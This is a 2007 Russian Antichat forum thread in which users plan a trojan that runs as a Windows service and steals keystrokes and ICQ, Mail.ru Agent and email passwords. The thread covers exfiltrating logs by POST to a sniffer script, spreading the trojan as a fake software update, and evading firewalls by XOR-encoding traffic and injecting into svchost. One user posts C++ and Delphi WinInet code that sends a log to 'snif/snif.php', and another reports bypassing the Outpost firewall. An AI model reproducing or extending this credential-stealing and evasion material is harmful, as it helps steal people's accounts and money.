Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Болталка (https://forum.antichat.xyz/forumdisplay.php?f=46)
-   -   Есть идея! (https://forum.antichat.xyz/showthread.php?t=31409)

darkf0x 16.01.2007 13:24

Есть идея!
 
Хай всем! Появилась интересная идея!

Хочу написать трой с функцией кей-логера и сканера пасов (ICQ, MAgent и т.п.)

Трой висит в мозгах в виде сервиса, кей логер пишет только нужные приложения, если юзер в онлайне (инет активен) через URL (POST`ом) логи пишутся через скрипт на левый сайтик, если юзер не в онлайне, тогда в файл.. Потом файлик отправляется опять же через POST на сайтик.. =)

Как идея? Прошу Ваши рецензии, бредовая идея или прога будет нужна народу?

Lesnoy_chelovek 16.01.2007 13:41

По-моему слишком мудрёно, да и просекёт пользователь.

darkf0x 16.01.2007 13:45

Цитата:

Сообщение от Lesnoy_chelovek
По-моему слишком мудрёно, да и просекёт пользователь.

Да ну.. Чего мудренного-то? =) Как он просечет? =)

VaV 16.01.2007 14:04

Идея ничего! только нах, тебе пароли?
Врядли найдется юзер(с хорошим номерком и тп), который запустит у себя твой троянец! К тому же среди знающих у тебя вообще нет шансов его запихнуть!
А что ты будешь делать с кучей юзерских паролей например от мыла?

vvs777 16.01.2007 14:10

Раздавать =)
В необходимости кейлоггера сомневаюсь - разве что искать дочерние окна с названиями типа "password" и их пасти.

В идеале это нужно оставлять на компах общего пользования - в интернет-кафе, в кабинетах информатики итп. А так чтоб кто-то запустил - разве что джоинить с чем-то.

darkf0x 16.01.2007 14:13

Цитата:

Сообщение от VaV
Идея ничего! только нах, тебе пароли?
Врядли найдется юзер(с хорошим номерком и тп), который запустит у себя твой троянец! К тому же среди знающих у тебя вообще нет шансов его запихнуть!
А что ты будешь делать с кучей юзерских паролей например от мыла?

Логично! Ну мыло это тоже.... Иногда в мыле встречаются интересные вещи (ОТ номеров и авторизации к WEB кошелькам до Инфы о состоянии счета в банке)
Хотя ты наверное прав.... Ладно не валидна тем....

darkf0x 16.01.2007 14:17

Цитата:

Сообщение от vvs777
Раздавать =)
В необходимости кейлоггера сомневаюсь - разве что искать дочерние окна с названиями типа "password" и их пасти.

В идеале это нужно оставлять на компах общего пользования - в интернет-кафе, в кабинетах информатики итп. А так чтоб кто-то запустил - разве что джоинить с чем-то.

Нах дочернии окна, не всегда инфа в них актуальная!
Hook! Скан активного приложения и снятие дампов с клавы... Хук еще никто не отменял! А GetWindowText не прокатит, имхо не всегда инфа за звездами актуальна! =)

Интеграция в какую-нить прогу в виде паразита и все... Спам о новой версии MAgent`а например... Ну а там... Новая версия делается тоже просто, HEX редактор и из 4.8 в 5.0 нефиг делать!

darkf0x 16.01.2007 14:19

Драть можно не только пасы.. =)

Sov1et 16.01.2007 16:20

Идея не нова -сам такое пишу - если хочешь стучи поговорим...

VaV 16.01.2007 20:45

Цитата:

Сообщение от darkf0x
Нах дочернии окна, не всегда инфа в них актуальная!
Hook! Скан активного приложения и снятие дампов с клавы... Хук еще никто не отменял! А GetWindowText не прокатит, имхо не всегда инфа за звездами актуальна! =)

Интеграция в какую-нить прогу в виде паразита и все... Спам о новой версии MAgent`а например... Ну а там... Новая версия делается тоже просто, HEX редактор и из 4.8 в 5.0 нефиг делать!


Да! сейчас думаю актуально иметь ботнет(спам, ддос)! это полезней!

VaV 16.01.2007 20:46

Цитата:

Сообщение от Sov1et
Идея не нова -сам такое пишу - если хочешь стучи поговорим...

Есть идея полутше - обьединится!
Как говоротся две головы хорошо, еще больше лутше!
К томуже тоже сейчас пишу что-то подобное! =)

gizmo 16.01.2007 20:49

Что б пассы от Lineage перла =)

А®ТеS 16.01.2007 21:30

Все хорошо, но будет много геморроя с отправкой спертых данных, щас даже самые ушастые юзеры понаставили файрволлов, во многие интегрирована проактивная защита. А вообще вещь будт полезная)
З.Ы. На чем пишешь кстати?

genom-- 16.01.2007 22:28

насчет перехвата поста идея ничего -- а с остальным вполне справится пинч

darkf0x 17.01.2007 10:18

Цитата:

Сообщение от А®ТеS
Все хорошо, но будет много геморроя с отправкой спертых данных, щас даже самые ушастые юзеры понаставили файрволлов, во многие интегрирована проактивная защита. А вообще вещь будт полезная)
З.Ы. На чем пишешь кстати?

Геммора нет! =) Есть могучие API функции HttpSendRequest и т.п. И метод POST, юзается Урл запрос.
Файрволу на него как правило пох... Если конечно это не супер пупер продвинутый мрандмауэр который цепляется к самой проге! Вернее делает анализ кто же запостил урл на какой-то сайт... =) Да и то маловероятно!

Пишу на Си++

darkf0x 17.01.2007 10:20

Цитата:

Сообщение от genom--
насчет перехвата поста идея ничего -- а с остальным вполне справится пинч

Логично.. Но подумайте сами, чем чаще будут появляться трои, тем больше шансов хачить зверье! Имхо пока до антивиря доползет...

VaV 17.01.2007 11:27

Цитата:

Сообщение от А®ТеS
Все хорошо, но будет много геморроя с отправкой спертых данных, щас даже самые ушастые юзеры понаставили файрволлов, во многие интегрирована проактивная защита. А вообще вещь будт полезная)
З.Ы. На чем пишешь кстати?

С отправкой никаких проблем! либо как говорит darkf0x используя библиотеку wininet, можно также писать чисто на соксах! Либо использовать Битс(BITS)
Протокол для закачки обновлений для винды! фаеры это не блочат!!

VaV 17.01.2007 11:30

Цитата:

Сообщение от genom--
насчет перехвата поста идея ничего -- а с остальным вполне справится пинч


Пинч/ксинч трои достаточно популярные и очень быстро попадают в базки для антивирей!
ИМХО новый трой лутше паленого старого!

darkf0x 17.01.2007 11:31

Цитата:

Сообщение от VaV
С отправкой никаких проблем! либо как говорит darkf0x используя библиотеку wininet, можно также писать чисто на соксах! Либо использовать Битс(BITS)
Протокол для закачки обновлений для винды! фаеры это не блочат!!

Не.... Тут есть один нюанс! =( Если сокеты юзать, в случае с проксей нужно знать номер порта, IP прокси + реализация протокола (прокси)... А юзая апишные HTTP функция API как правило юзает настроечки браузеров по умолчанию! Что намного рульнее и не надо париться с определением портов и т.п. К тому же прокся может иметь авторизацию, при юзании сокетов, это тоже грабли имхо нужно инфу то эту брать откуда-то! =)

VaV 17.01.2007 13:12

Цитата:

Сообщение от darkf0x
Не.... Тут есть один нюанс! =( Если сокеты юзать, в случае с проксей нужно знать номер порта, IP прокси + реализация протокола (прокси)... А юзая апишные HTTP функция API как правило юзает настроечки браузеров по умолчанию! Что намного рульнее и не надо париться с определением портов и т.п. К тому же прокся может иметь авторизацию, при юзании сокетов, это тоже грабли имхо нужно инфу то эту брать откуда-то! =)


Я каешь может чего-то не понимаю, но: зачем прокся между протрояненым юзером и снифером в сети?
Чтоб юзер не узнал куда уходят пакеты?
По моему если узер может(умеет) узнать(отслеживать)
пакеты, то прокся особым препятствием ему не станет!
А настройки браузеров не всегда правильные =)
WinInet здорово облегчает разработку, сокеты(согласен) выглядят более громозко и неуклюже!

gizmo 17.01.2007 13:14

Цитата:

Сообщение от VaV
Я каешь может чего-то не понимаю, но: зачем прокся между протрояненым юзером и снифером в сети?
Чтоб юзер не узнал куда уходят пакеты?
По моему если узер может(умеет) узнать(отслеживать)
пакеты, то прокся особым препятствием ему не станет!
А настройки браузеров не всегда правильные =)
WinInet здорово облегчает разработку, сокеты(согласен) выглядят более громозко и неуклюже!

юзер может сам по себе пользоваться проксей. что б юзать сокеты, нужно определить параметры этой прокси: ip, port.

darkf0x 17.01.2007 13:39

Цитата:

Сообщение от gizmo
юзер может сам по себе пользоваться проксей. что б юзать сокеты, нужно определить параметры этой прокси: ip, port.

Ну я и имел это ввиду в своем посте! =)
Просто юзер может сидеть в локале, а в инет лезть через проксю, которая стоит на серваке конторы.. =)

darkf0x 17.01.2007 13:42

Цитата:

Сообщение от VaV
Я каешь может чего-то не понимаю, но: зачем прокся между протрояненым юзером и снифером в сети?
Чтоб юзер не узнал куда уходят пакеты?
По моему если узер может(умеет) узнать(отслеживать)
пакеты, то прокся особым препятствием ему не станет!
А настройки браузеров не всегда правильные =)
WinInet здорово облегчает разработку, сокеты(согласен) выглядят более громозко и неуклюже!

Пакеты пакетами... Если параметры урла шифровать (хоть банальным Xor`ом...) будет совсем надежно! Да и метод пост в логах прокси не выглядит устрашающе! В Get`е видна вся урл строчка, со всеми параметрами, тогда у юзера или админа могут появиться не хороши мысли, какого это у него идут транзакции на левый хост... Да еще PHP скрипт отрабатывает на левом хосте по этой урле! А POST для таких целей самое то!

VaV 17.01.2007 19:55

Представлю на ваш суд пару реализаций



Реализация на C++(Borland) (сори за изврат, Visual Studio упала =))
!!пару раз не выполнялась, хз почему!!

//объявляем нужный нам модуль
#include <wininet.h>
#pragma comment(lib,"wininet.lib")

//данные
static TCHAR *hdr = ("Content-Type: application/x-www-form-urlencoded");
static TCHAR *frmdata = ("LOG=Test\r\n"); //лог для передачи
const
static TCHAR *AcceptType = ("Accept: */*");

//код
//создаем сессию
HINTERNET hSession = InternetOpen(NULL,INTERNET_OPEN_TYPE_PRECONFIG,NUL L,NULL,0);
//конектимся
HINTERNET hConnect = InternetConnect(hSession,"localhost",INTERNET_DEFA ULT_HTTP_PORT,NULL,NULL,INTERNET_SERVICE_HTTP,0,0) ;
//создаем запрос
HINTERNET hRequest = HttpOpenRequest(hConnect,"POST","snif/snif.php",NULL,NULL,&AcceptType,0,0);
//отправляем его с нашими данными
HttpSendRequest(hRequest, hdr, strlen(hdr), frmdata, strlen(frmdata));

//подчищаем за собой
InternetCloseHandle(hRequest);
InternetCloseHandle(hConnect);
InternetCloseHandle(hSession);


реализация на Delphi:

//данные
const
hdrs: string = 'Content-Type: application/x-www-form-urlencoded';
frmdata: string = 'LOG=TEST'#13#10;
var
hSession,hConnect,hRequest: HINTERNET;
AcceptType: LPStr;

//код
begin
//создаем сессию
hSession:= InternetOpen(nil,INTERNET_OPEN_TYPE_PRECONFIG,nil, nil,0);
//коннектимся
hConnect:= InternetConnect(hSession,'localhost',INTERNET_DEFA ULT_HTTP_PORT,nil,nil,INTERNET_SERVICE_HTTP,0,0);
//устанавливаем тип приема
AcceptType := PChar('Accept: */*');
//создаем запрос
hRequest:= HttpOpenRequest(hConnect,'POST','snif/snif.php',nil,nil,@AcceptType,0,0);
//отправляем его
HttpSendRequest(hRequest,PChar(hdrs),Length(hdrs), PChar(frmdata),Length(frmdata));

// подчищаем за собой
InternetCloseHandle(hRequest);
InternetCloseHandle(hConnect);
InternetCloseHandle(hSession);

NWREm1KS 18.01.2007 00:16

Цитата:

Сообщение от gizmo
Что б пассы от Lineage перла =)

Чувак напишеш прогу дай скатать)
и паааадробное описание как ей пользоваться :))

BlackCats 18.01.2007 00:50

идея хорошая! и похвальная +) будет результат - постите.. ознакомимся =)

darkf0x 18.01.2007 12:29

Цитата:

Сообщение от VaV
Представлю на ваш суд пару реализаций



Реализация на C++(Borland) (сори за изврат, Visual Studio упала =))
!!пару раз не выполнялась, хз почему!!

//объявляем нужный нам модуль
#include <wininet.h>
#pragma comment(lib,"wininet.lib")

//данные
static TCHAR *hdr = ("Content-Type: application/x-www-form-urlencoded");
static TCHAR *frmdata = ("LOG=Test\r\n"); //лог для передачи
const
static TCHAR *AcceptType = ("Accept: */*");

//код
//создаем сессию
HINTERNET hSession = InternetOpen(NULL,INTERNET_OPEN_TYPE_PRECONFIG,NUL L,NULL,0);
//конектимся
HINTERNET hConnect = InternetConnect(hSession,"localhost",INTERNET_DEFA ULT_HTTP_PORT,NULL,NULL,INTERNET_SERVICE_HTTP,0,0) ;
//создаем запрос
HINTERNET hRequest = HttpOpenRequest(hConnect,"POST","snif/snif.php",NULL,NULL,&AcceptType,0,0);
//отправляем его с нашими данными
HttpSendRequest(hRequest, hdr, strlen(hdr), frmdata, strlen(frmdata));

//подчищаем за собой
InternetCloseHandle(hRequest);
InternetCloseHandle(hConnect);
InternetCloseHandle(hSession);


реализация на Delphi:

//данные
const
hdrs: string = 'Content-Type: application/x-www-form-urlencoded';
frmdata: string = 'LOG=TEST'#13#10;
var
hSession,hConnect,hRequest: HINTERNET;
AcceptType: LPStr;

//код
begin
//создаем сессию
hSession:= InternetOpen(nil,INTERNET_OPEN_TYPE_PRECONFIG,nil, nil,0);
//коннектимся
hConnect:= InternetConnect(hSession,'localhost',INTERNET_DEFA ULT_HTTP_PORT,nil,nil,INTERNET_SERVICE_HTTP,0,0);
//устанавливаем тип приема
AcceptType := PChar('Accept: */*');
//создаем запрос
hRequest:= HttpOpenRequest(hConnect,'POST','snif/snif.php',nil,nil,@AcceptType,0,0);
//отправляем его
HttpSendRequest(hRequest,PChar(hdrs),Length(hdrs), PChar(frmdata),Length(frmdata));

// подчищаем за собой
InternetCloseHandle(hRequest);
InternetCloseHandle(hConnect);
InternetCloseHandle(hSession);

Хм... До ужаса знакомые исходники! =(
Тока почемуто проверок нихера нет на выполнения функций и нужно перед этим создать трид в каком нить процессе, который FireWall разрешает(svchost - например) и тогда совсем рулез будет!
И даже Файрволл пустит! =) Я как раз над этим сейчас и бьюсь..

VaV 18.01.2007 13:55

Цитата:

Сообщение от darkf0x
Хм... До ужаса знакомые исходники! =(
Тока почемуто проверок нихера нет на выполнения функций и нужно перед этим создать трид в каком нить процессе, который FireWall разрешает(svchost - например) и тогда совсем рулез будет!
И даже Файрволл пустит! =) Я как раз над этим сейчас и бьюсь..

Пост - запрос надо шифровать полюбому, так как отправка болезненно реагирует на перенос строки($0D$0A), особенно если данные не статичны!

По исходнику: проверок нет - сделано на коленке минут за 10 =)

Есть один минус отправки - весь этот код юзает настройки у IE и если браузер не был использован для подключения к какому-нибудь серверу, что-то отправить будет не возможно!

Насчет обхода фаера идея хорошая! надо будет покопаться!

darkf0x 18.01.2007 18:39

Цитата:

Сообщение от VaV
Пост - запрос надо шифровать полюбому, так как отправка болезненно реагирует на перенос строки($0D$0A), особенно если данные не статичны!

По исходнику: проверок нет - сделано на коленке минут за 10 =)

Есть один минус отправки - весь этот код юзает настройки у IE и если браузер не был использован для подключения к какому-нибудь серверу, что-то отправить будет не возможно!

Насчет обхода фаера идея хорошая! надо будет покопаться!

Мой трой который дерет пасы от MAgenta юзает HTTP функции.. Есть грабли с Файрволами! =( Нужно либо его мочить, либо обходить!

А®ТеS 18.01.2007 20:56

Цитата:

Сообщение от darkf0x
Геммора нет! =) Есть могучие API функции HttpSendRequest и т.п. И метод POST, юзается Урл запрос.
Файрволу на него как правило пох... Если конечно это не супер пупер продвинутый мрандмауэр который цепляется к самой проге! Вернее делает анализ кто же запостил урл на какой-то сайт... =) Да и то маловероятно!

Пишу на Си++

Файрволлы HttpSendRequest() перехватят. Я думаю нужно писать приложение которое будет мучать файрволл как раз таки из под ring0, тогда точн прокатит =)))))))

darkf0x 19.01.2007 10:23

Цитата:

Сообщение от А®ТеS
Файрволлы HttpSendRequest() перехватят. Я думаю нужно писать приложение которое будет мучать файрволл как раз таки из под ring0, тогда точн прокатит =)))))))

=) Угу.. А имеется опыть опуститься до ring-0?

darkf0x 19.01.2007 12:11

Yahooo! Натянул я OutPost! =)))))) Методом POST через HTTP (API).... Отправляю без перехвата! =) Не видит он ни хера! Правда есть существенная проблема!!! Он **** отлавливает момент внедрения в чужой процесс кода! =(
Блин без написания dll и опускания до ring-0 не обойтись имхо! =( Мля...

VaV 19.01.2007 22:59

Цитата:

Сообщение от А®ТеS
Файрволлы HttpSendRequest() перехватят. Я думаю нужно писать приложение которое будет мучать файрволл как раз таки из под ring0, тогда точн прокатит =)))))))


Если не ошибаюсь, ring0 на некоторых машинах вызывает BSOD!

_Great_ 19.01.2007 23:03

Цитата:

Если не ошибаюсь, ring0 на некоторых машинах вызывает BSOD!
ты хоть понял, что сказал?

darkf0x 20.01.2007 00:59

Цитата:

Сообщение от VaV
Если не ошибаюсь, ring0 на некоторых машинах вызывает BSOD!

Ура! Удалось обойти OutPost правда тестил на 3-х тачилах только.... Но надеюсь что сия фишка действительно будет работать и против других файеров!

Короче спасает от всех напастей трой в виде сервиса!
Не совсем понятно почему? =) Но! Как ни странно когда
стартует сервис и создает свой Image в процессе svchost
OutPost на него просто кладет! =)))))
Что удивительно имхо эта хренотень (OutPost) имеет толпу хуков на системные вызовы WriteProccess в Kernel32! Не суть! А так как сервису (трою) удалось ломануться в чужой процесс, он без особых усилий отправляет мессаги в инет, имхо svchost является одним из разрешенных процессов, оно и понятно! =)

Не знаю как даная приблуда будет работать с другими антизаразами, но у меня пашет! Если подтвердится, что этот способ имеет право на жизнь, я напишу статейку с исходниками (все писалось на C++)

darkf0x 20.01.2007 01:06

Цитата:

Сообщение от VaV
Если не ошибаюсь, ring0 на некоторых машинах вызывает BSOD!

ring-0 - Привилегия (супервизор) уровень системного ядра! На этом уровне можно делать с любым процессом что угодно! Не совсем понимаю что такое BSOD, но если все грамотно реализовать, то работать будет на ура! тока драйвер придется писать! =))) НА АсМЕ!!! Можно извратиться и на Си... Но.... Очень сомневаюсь! На самом деле можно найти дыры и без ring-0...

ZaCo 20.01.2007 01:14

переходи на уровень подъядра.

KEZ 20.01.2007 01:18

Цитата:

ring-0 - Привилегия (супервизор) уровень системного ядра! На этом уровне можно делать с любым процессом что угодно! Не совсем понимаю что такое BSOD, но если все грамотно реализовать, то работать будет на ура! тока драйвер придется писать! =))) НА АсМЕ!!! Можно извратиться и на Си... Но.... Очень сомневаюсь! На самом деле можно найти дыры и без ring-0...
РИНГ НОЛЬ ХЭЭЭЭЭЭЭЭК

ZaCo 20.01.2007 01:19

хэк

KEZ 20.01.2007 01:19

Цитата:

Если не ошибаюсь, ring0 на некоторых машинах вызывает BSOD!
Ринг Ноль там зохавал КТУЛХУ


Время: 18:37